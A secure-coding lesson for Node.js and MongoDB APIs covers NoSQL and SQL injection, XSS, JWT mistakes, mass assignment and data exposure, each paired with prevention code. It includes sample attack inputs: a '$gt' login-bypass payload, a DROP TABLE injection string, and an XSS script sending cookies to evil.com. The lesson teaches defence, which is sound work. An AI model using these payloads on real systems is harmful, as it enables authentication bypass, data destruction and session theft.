Common Security Vulnerabilities
Why Study Vulnerabilities?
The best way to write secure code is to understand how attacks work. When you know what an attacker is looking for, you naturally write code that denies them those opportunities.
The OWASP (Open Web Application Security Project) is a non-profit organisation that publishes the OWASP Top 10 — a list of the most critical web application security risks, updated regularly. We will cover the most relevant ones for Node.js and MongoDB APIs.
1. Injection Attacks
Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query.
NoSQL Injection
In MongoDB, if you directly use user input as a query object without sanitisation, an attacker can inject MongoDB operators.
Vulnerable code:
// POST /auth/login
const user = await User.findOne({
email: req.body.email, // Could be { "$gt": "" }
password: req.body.password, // Could be { "$gt": "" }
});
Attack payload:
{
"email": { "$gt": "" },
"password": { "$gt": "" }
}
The $gt: "" operator matches any string — so this query returns the first user in the database, bypassing authentication entirely.
Prevention:
// 1. Use express-mongo-sanitize to strip operators
app.use(mongoSanitize());
// 2. Validate that email is a string before querying
const { email, password } = req.body;
if (typeof email !== 'string' || typeof password !== 'string') {
return res.status(400).json({ message: 'Invalid input' });
}
SQL Injection (if using SQL databases)
If you ever use raw SQL queries with string concatenation, the same category of attack applies:
// Vulnerable — never do this
const query = "SELECT * FROM users WHERE email = '" + email + "'";
// Attack: email = "'; DROP TABLE users; --"
// Safe — use parameterised queries
const result = await pool.query('SELECT * FROM users WHERE email = $1', [email]);
2. Cross-Site Scripting (XSS) in an API Context
XSS (Cross-Site Scripting) typically targets browsers — an attacker injects malicious JavaScript that runs in another user's browser. In an API context, XSS happens when your API stores user-provided HTML or JavaScript and serves it back without sanitisation.
Example scenario: A user submits a blog post with this body:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
If your API stores this and your frontend renders it as raw HTML, every visitor's session cookie gets stolen.
Prevention:
// Use xss-clean middleware to strip script tags from all request body fields
const xss = require('xss-clean');
app.use(xss());
// On the frontend, never use innerHTML with user data — use textContent instead
element.textContent = userInput; // Safe
element.innerHTML = userInput; // Dangerous
3. Broken Authentication Patterns
These are common authentication mistakes that create vulnerabilities:
Weak JWT secrets:
// Dangerous — too short and predictable
const token = jwt.sign(payload, 'secret');
const token = jwt.sign(payload, '12345');
// Safe — long random string
const token = jwt.sign(payload, process.env.JWT_SECRET);
// JWT_SECRET generated with: node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
Not checking token expiry:
// Dangerous — decode() skips expiry check
const decoded = jwt.decode(token);
// Safe — verify() checks signature AND expiry
const decoded = jwt.verify(token, process.env.JWT_SECRET);
Exposing sensitive data in responses:
// Dangerous — may return password hash in API response
const user = await User.findById(id);
res.json(user);
// Safe — explicitly select only needed fields
const user = await User.findById(id).select('name email role createdAt');
res.json(user);
4. Mass Assignment Vulnerability
Mass assignment occurs when you directly use user-supplied data to update a database document without filtering which fields are allowed to change.
Vulnerable code:
// PATCH /users/:id — dangerous
router.patch('/:id', authenticate, async (req, res) => {
// req.body could contain: { "role": "admin", "isVerified": true }
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
An attacker who is a regular user could upgrade their own account to admin by sending { "role": "admin" } in the request body.
Prevention — allowlist only permitted fields:
router.patch('/:id', authenticate, async (req, res) => {
// Explicitly list the only fields users are allowed to update
const { name, email, bio } = req.body;
const allowedUpdates = {};
if (name) allowedUpdates.name = name;
if (email) allowedUpdates.email = email;
if (bio) allowedUpdates.bio = bio;
// role, isAdmin, isVerified are never touched
const user = await User.findByIdAndUpdate(
req.params.id,
{ $set: allowedUpdates },
{ new: true, runValidators: true }
);
res.json(user);
});
5. Sensitive Data Exposure
Exposing more data than necessary in API responses is a common mistake.
Examples of accidental data exposure:
// Returning the full Mongoose document includes __v, internal fields, and potentially password
res.json(user); // Dangerous if password field was not excluded
// Returning all users' data when only names are needed
const users = await User.find(); // Returns every field of every user
Best practice — use projection to limit returned fields:
// Only return what the client actually needs
const user = await User.findById(id).select('name email role createdAt');
res.json(user);
// For lists, limit the fields and the number of results
const users = await User.find({ isActive: true }).select('name email').limit(50);
res.json(users);
6. OWASP Top 10 Overview
The full OWASP Top 10 (2021 edition) covers:
- Broken Access Control — users accessing resources or actions they should not
- Cryptographic Failures — weak password storage, transmitting data over HTTP
- Injection — SQL, NoSQL, command injection
- Insecure Design — missing rate limits, no security requirements in design phase
- Security Misconfiguration — default credentials, verbose error messages, open cloud storage
- Vulnerable and Outdated Components — using packages with known security flaws
- Identification and Authentication Failures — weak JWTs, no MFA (Multi-Factor Authentication)
- Software and Data Integrity Failures — insecure CI/CD (Continuous Integration and Continuous Deployment) pipelines
- Security Logging and Monitoring Failures — not detecting breaches in progress
- SSRF (Server-Side Request Forgery) — manipulating the server to make requests to internal resources
For backend APIs, items 1, 3, 4, 5, 6, and 7 are the most directly applicable. Run npm audit regularly to check for known vulnerabilities in your dependencies:
npm audit
npm audit fix
Practice Exercise
Audit your API for common vulnerabilities:
- Check your login route — is input validated as a string before querying MongoDB?
- Check your update routes — are you using a field allowlist to prevent mass assignment?
- Check all API responses — are you accidentally returning password hashes, internal fields like
__v, or more data than necessary? - Run
npm auditon your project and fix any high or critical vulnerabilities - Check your
.gitignore— is.envlisted? Rungit log --all --full-history -- .envto check if secrets were ever committed - Bonus: Add request logging using the
morganpackage for development mode, and ensure production logs only errors without full stack traces
Try it yourself
Key Takeaways
- NoSQL injection attacks use MongoDB operators like $gt as request data — prevent with express-mongo-sanitize and input type validation.
- Mass assignment allows attackers to modify privileged fields like 'role' by including them in request bodies — always allowlist permitted update fields.
- XSS (Cross-Site Scripting) in an API context occurs when user-supplied HTML is stored and served without sanitisation — use the xss-clean middleware.
- Sensitive data exposure is prevented by always using .select() to return only the fields the client actually needs.
- The OWASP (Open Web Application Security Project) Top 10 is the essential reference for web security risks — run npm audit regularly to check for vulnerable dependencies.
Quick Quiz
1.What is a NoSQL injection attack in the context of MongoDB?
2.What is mass assignment and how does it create a security risk?
3.Why should you use .select() when querying users from the database?
4.What does OWASP stand for and what is its purpose?
Ready to go further?
CareerEx gives you structured 12-week training, live classes every Saturday and Sunday, real tutor feedback, and a certificate. Join the next cohort.
Join CareerEx